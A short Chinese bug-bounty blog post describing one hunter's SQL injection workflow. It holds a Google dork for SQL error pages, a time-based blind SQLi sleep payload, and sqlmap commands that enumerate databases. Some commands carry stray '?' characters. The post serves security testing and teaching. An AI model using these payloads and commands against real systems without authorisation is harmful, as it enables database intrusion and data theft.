1.背景介紹

今天的故事來自敘利亞的一位白帽子,名叫 Ahmad Yussef ,他是一名兼職的漏洞賞金獵手。

2.偵察

關于收集子域,他習慣使用 Subfinder、Assfinder 這兩款工具,而對于收集隱藏參數,他習慣使用 Arjun和Katana兩款工具。

katana -u "url + parameter"

當然,他也會使用Google Dorking和Shodan.io 來替代Httpx、Httprobe。

3.方法

通常的方法基本是基于SQL錯誤,Google Dorking:

site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"

也會通過手動方式,在參數后面添加單引號或雙引號,如果請求響應了SQL錯誤,基本就意味著存在漏洞。

對于SQL盲注,他比較喜歡使用Sleep Payloads:

0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z63770’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

4.Sqlmap

如果不知道參數是否存在漏洞,可以使用 Sqlmap 進行檢測,因為它是發現此類漏洞的最佳工具。

如果是GET方式,可以使用:

sqlmap -u “target.com”?--random-agent --level 1?--risk 1?--dbs

如果沒有發現任何錯誤,也不要那么著急放棄,可以考慮更改level和risk等級,如果是POST方式,則可以使用:

sqlmap -u "target.com" --data "parameter=value" --method POST?--random-agent?--level 1?--risk 1 --dbs.